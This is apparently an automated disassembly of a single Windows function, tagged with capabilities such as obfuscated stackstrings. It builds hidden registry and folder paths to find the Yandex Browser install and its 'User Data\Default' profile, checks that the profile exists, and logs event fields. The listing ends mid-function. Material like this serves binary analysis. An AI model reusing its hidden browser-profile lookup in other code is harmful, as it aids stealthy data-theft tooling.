Function at 0x4da7f0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5588de
mov eax, dword fs:[0]
push eax
sub esp, 0x480
mov eax, dword [0x5932e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x9c], edi
sub esp, 0x18
xor esi, esi
mov ecx, esp
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x44], esp
mov dword [ebp - 0x4c], esi
push esi
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], 0xf
push 0x5701e6
mov byte [ecx], 0
call fcn.00409ab0
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x68]
push 8
push 0x5789a0
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
call fcn.00409ab0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x174]
push 6
push 0x578998
mov dword [ebp - 0x164], esi
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
call fcn.00409ab0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x15c]
push 5
push 0x5789b4
mov dword [ebp - 0x14c], esi
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
call fcn.00409ab0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x144]
push 7
push 0x5789ac
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
call fcn.00409ab0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x12c]
push 5
push 0x5789c8
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
call fcn.00409ab0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x114]
push 9
push 0x5789bc
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.00409ab0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xfc]
push 8
push 0x5789dc
mov dword [ebp - 0xec], esi
mov dword [ebp - 0xe8], 0xf
mov byte [ebp - 0xfc], 0
call fcn.00409ab0
mov byte [ebp - 4], 7
mov dword [ebp - 0xd4], esi
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
push 0xa
push 0x5789d0
lea ecx, [ebp - 0xe4]
call fcn.00409ab0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xcc]
push 2
push 0x5789ec
mov dword [ebp - 0xbc], esi
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
call fcn.00409ab0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xb4]
push 3
push 0x5789e8
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
call fcn.00409ab0
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0xa
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x2ac]
call fcn.00409da0
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00409da0
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0xc
push ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.00409da0
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.00409da0
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0xe
push ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.00409da0
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0xf
push ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.00409da0
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0x10
push ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.00409da0
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 0x11
push ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00409da0
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, esp
lea edx, [ebp - 0x68]
push edx
mov edx, eax
call fcn.00409da0
add esp, 4
xor edx, edx
mov byte [ebp - 4], 0x24
mov ecx, 0x80000002
call fcn.00409150
mov byte [ebp - 4], 0x23
add esp, 0x30
mov edx, dword [ebp - 0x250]
mov esi, eax
cmp edx, 0x10
jb 0x4dab30
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dab26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfa6
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x268]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
cmp edx, 0x10
jb 0x4dab89
mov ecx, dword [ebp - 0x27c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dab7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfab
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x21
mov edx, dword [ebp - 0x430]
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x268], 0xf
mov byte [ebp - 0x27c], 0
cmp edx, 0x10
jb 0x4dabe2
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dabd8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfb0
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0x418]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp edx, 0x10
jb 0x4dac3b
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dac31
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfb5
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x388]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
cmp edx, 0x10
jb 0x4dac94
mov ecx, dword [ebp - 0x39c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dac8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfba
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x38c], 0
mov dword [ebp - 0x388], 0xf
mov byte [ebp - 0x39c], 0
cmp edx, 0x10
jb 0x4daced
mov ecx, dword [ebp - 0x414]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dace3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfbf
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x280]
mov dword [ebp - 0x404], 0
mov dword [ebp - 0x400], 0xf
mov byte [ebp - 0x414], 0
cmp edx, 0x10
jb 0x4dad46
mov ecx, dword [ebp - 0x294]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dad3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfc4
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x280], 0xf
mov byte [ebp - 0x294], 0
cmp edx, 0x10
jb 0x4dad9f
mov ecx, dword [ebp - 0x2ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dad95
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfc9
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x298], 0xf
mov byte [ebp - 0x2ac], 0
cmp edx, 0x10
jb 0x4dadf8
mov ecx, dword [ebp - 0xb4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dadee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfce
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0xb8]
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
cmp edx, 0x10
jb 0x4dae51
mov ecx, dword [ebp - 0xcc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dae47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfd3
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xd0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp edx, 0x10
jb 0x4daeaa
mov ecx, dword [ebp - 0xe4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4daea0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfd8
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0xe8]
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
cmp edx, 0x10
jb 0x4daf03
mov ecx, dword [ebp - 0xfc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4daef9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfdd
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0xf
mov byte [ebp - 0xfc], 0
cmp edx, 0x10
jb 0x4daf5c
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4daf52
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfe2
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
cmp edx, 0x10
jb 0x4dafb5
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dafab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfe7
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x4db00e
mov ecx, dword [ebp - 0x144]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db004
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbfec
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x148]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
cmp edx, 0x10
jb 0x4db067
mov ecx, dword [ebp - 0x15c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db05d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbff1
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x160]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
cmp edx, 0x10
jb 0x4db0c0
mov ecx, dword [ebp - 0x174]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db0b6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbff6
push edx
push ecx
call fcn.005150f8
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
cmp edx, 0x10
jb 0x4db116
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db10c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dbffb
push edx
push ecx
call fcn.005150f8
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
test esi, esi
jne 0x4db6d7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x48], esp
push 0x59a848
call fcn.00409940
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0x80]
push 8
push str.wser.exe
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x98]
push 6
push str.hs_bro
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x18c]
push 5
push str.p_Pat
mov dword [ebp - 0x17c], esi
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3fc]
push 7
push str.sionAp
mov dword [ebp - 0x3ec], esi
mov dword [ebp - 0x3e8], 0xf
mov byte [ebp - 0x3fc], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x3e4]
push 5
push str.ntVer
mov dword [ebp - 0x3d4], esi
mov dword [ebp - 0x3d0], 0xf
mov byte [ebp - 0x3e4], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x3cc]
push 9
push str.owsCurre
mov dword [ebp - 0x3bc], esi
mov dword [ebp - 0x3b8], 0xf
mov byte [ebp - 0x3cc], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x3b4]
push 8
push str.oftWind
mov dword [ebp - 0x3a4], esi
mov dword [ebp - 0x3a0], 0xf
mov byte [ebp - 0x3b4], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x48c]
push 0xa
push str.AREMicros
mov dword [ebp - 0x47c], esi
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x374], esi
mov dword [ebp - 0x370], 0xf
push 2
push 0x578a44
lea ecx, [ebp - 0x384]
mov byte [ebp - 0x384], 0
call fcn.00409ab0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x36c]
push 3
push 0x578a40
mov dword [ebp - 0x35c], esi
mov dword [ebp - 0x358], 0xf
mov byte [ebp - 0x36c], 0
call fcn.00409ab0
lea eax, [ebp - 0x384]
mov byte [ebp - 4], 0x2f
push eax
lea edx, [ebp - 0x36c]
lea ecx, [ebp - 0x45c]
call fcn.00409da0
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x30
push ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.00409da0
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0x31
push ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.00409da0
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 0x32
push ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.00409da0
lea ecx, [ebp - 0x3e4]
mov byte [ebp - 4], 0x33
push ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.00409da0
lea ecx, [ebp - 0x3fc]
mov byte [ebp - 4], 0x34
push ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00409da0
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x35
push ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.00409da0
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x36
push ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.00409da0
add esp, 8
mov byte [ebp - 4], 0x37
lea edx, [ebp - 0x80]
mov ecx, esp
push edx
mov edx, eax
call fcn.00409da0
add esp, 4
xor edx, edx
mov byte [ebp - 4], 0x49
mov ecx, 0x80000001
call fcn.00409150
mov byte [ebp - 4], 0x48
add esp, 0x30
mov edx, dword [ebp - 0x2b0]
mov esi, eax
cmp edx, 0x10
jb 0x4db429
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db41f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc000
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x47
mov edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
cmp edx, 0x10
jb 0x4db482
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db478
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc005
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x46
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
cmp edx, 0x10
jb 0x4db4db
mov ecx, dword [ebp - 0x2f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db4d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc00a
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x45
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x2e0], 0xf
mov byte [ebp - 0x2f4], 0
cmp edx, 0x10
jb 0x4db534
mov ecx, dword [ebp - 0x30c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db52a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc00f
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x44
mov edx, dword [ebp - 0x310]
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 0xf
mov byte [ebp - 0x30c], 0
cmp edx, 0x10
jb 0x4db58d
mov ecx, dword [ebp - 0x324]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db583
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc014
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x43
mov edx, dword [ebp - 0x328]
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x310], 0xf
mov byte [ebp - 0x324], 0
cmp edx, 0x10
jb 0x4db5e6
mov ecx, dword [ebp - 0x33c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db5dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc019
push edx
push ecx
call fcn.005150f8
add esp, 8
mov byte [ebp - 4], 0x42
mov edx, dword [ebp - 0x340]
mov dword [ebp - 0x32c], 0
mov dword [ebp - 0x328], 0xf
mov byte [ebp - 0x33c], 0
cmp edx, 0x10
jb 0x4db63f
mov ecx, dword [ebp - 0x354]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4db635
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc01e
push edx
push ecx
call fcn.005150f8
add esp, 8
lea ecx, [ebp - 0x45c]
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x340], 0xf
mov byte [ebp - 0x354], 0
call fcn.00409830
lea ecx, [ebp - 0x36c]
call fcn.00409830
lea ecx, [ebp - 0x384]
call fcn.00409830
lea ecx, [ebp - 0x48c]
call fcn.00409830
lea ecx, [ebp - 0x3b4]
call fcn.00409830
lea ecx, [ebp - 0x3cc]
call fcn.00409830
lea ecx, [ebp - 0x3e4]
call fcn.00409830
lea ecx, [ebp - 0x3fc]
call fcn.00409830
lea ecx, [ebp - 0x18c]
call fcn.00409830
lea ecx, [ebp - 0x98]
call fcn.00409830
lea ecx, [ebp - 0x80]
mov dword [ebp - 4], 0xffffffff
call fcn.00409830
push 0
push 0x5701e7
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.00409ab0
mov dword [ebp - 4], 0x4a
test esi, esi
je 0x4db772
sub esp, 0x18
mov ecx, esp
push 4
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.Path
mov byte [ecx], 0
call fcn.00409ab0
mov edx, esi
lea ecx, [ebp - 0x474]
call fcn.00409450
mov esi, eax
add esp, 0x18
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4db767
mov ecx, eax
call fcn.00409830
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
movq qword [ebp - 0x18], xmm0
mov byte [esi], 0
lea ecx, [ebp - 0x474]
call fcn.00409830
cmp dword [ebp - 0x18], 0
jne 0x4db974
push 0x21
push str.YandexYandexBrowserApplication
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
call fcn.00409ab0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0x4b
push eax
sub esp, 0x18
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x578a50
mov byte [ecx], 0
call fcn.00409ab0
lea ecx, [ebp - 0x45c]
call fcn.004d8190
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x474]
call fcn.00409da0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4db81b
mov ecx, eax
call fcn.00409830
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
movq qword [ebp - 0x18], xmm0
mov byte [esi], 0
lea ecx, [ebp - 0x474]
call fcn.00409830
lea ecx, [ebp - 0x45c]
call fcn.00409830
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x4a
call fcn.00409830
push 7
push 0x578a90
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
call fcn.00409ab0
lea eax, [edi + 0x1ac]
mov byte [ebp - 4], 0x4d
push eax
lea ecx, [ebp - 0x204]
call fcn.00409940
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x1ec]
push 8
push str.assuming
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0xf
mov byte [ebp - 0x1ec], 0
call fcn.00409ab0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0x4f
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00409940
mov dword [ebp - 4], 0x50
lea ecx, [ebp - 0x1bc]
push 7
push str.userSid
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 0xf
mov byte [ebp - 0x1bc], 0
call fcn.00409ab0
push 0x59a848
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 4], 0x51
call fcn.00409940
sub esp, 8
mov dword [ebp - 4], 0x52
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x44], 0xf
mov ecx, esp
lea edx, [ebp - 0x21c]
push eax
push edx
call fcn.00419d30
mov ecx, dword [edi + 0x5c]
push 0xc
call fcn.0044d0b0
push fcn.0040e2f0
push 3
push 0x30
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 0x4a
push eax
call fcn.0051510b
mov eax, 7
mov dword [ebp - 0x4c], eax
push 0x27
push str.YandexYandexBrowserUser_DataDefault
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
call fcn.00409ab0
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 0x53
push eax
sub esp, 0x18
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.LOCALAPPDATA
mov byte [ecx], 0
call fcn.00409ab0
lea ecx, [ebp - 0x80]
call fcn.004d8190
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x40]
call fcn.00409da0
add esp, 4
mov byte [ebp - 4], 0x56
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x4dba13
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dba09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc023
push edx
push ecx
call fcn.005150f8
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0x57
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x4dba5d
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dba53
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc028
push edx
push ecx
call fcn.005150f8
add esp, 8
lea esi, [edi + 0x1c4]
mov dword [ebp - 0x58], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp esi, eax
je 0x4dba8f
cmp dword [ebp - 0x14], 0x10
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.00409ab0
push esi
lea ecx, [ebp - 0x98]
call fcn.00409940
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
cmovae eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov edx, dword [ebp - 0x84]
cmp eax, 0xffffffff
setne al
mov byte [ebp - 0x4d], al
cmp edx, 0x10
jb 0x4dbafc
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4dbaef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4dc02d
push edx
push ecx
call fcn.005150f8
mov al, byte [ebp - 0x4d]
add esp, 8
test al, al
jne 0x4dbdca
push 7
push 0x578ac8
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], al
call fcn.00409ab0
lea eax, [edi + 0x1ac]
mov byte [ebp - 4], 0x58
push eax
lea ecx, [ebp - 0x234]
call fcn.00409940
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x21c]
mov eax, dword [ebp - 0x4c]
or eax, 0x10
mov dword [ebp - 0x20c], 0
push 5
push str.event
mov dword [ebp - 0x4c], eax
mov edi, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
call fcn.00409ab0
mov dword [ebp - 4], 0x5a
lea ecx, [ebp - 0x204]
push 9
push str.not_exist
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
call fcn.00409ab0
mov dword [ebp - 4], 0x5b
lea ecx, [ebp - 0x1ec]
mov eax, edi
mov dword [ebp - 0x1dc], 0
push 4
or eax, 0x20
mov dword [ebp - 0x1d8], 0xf
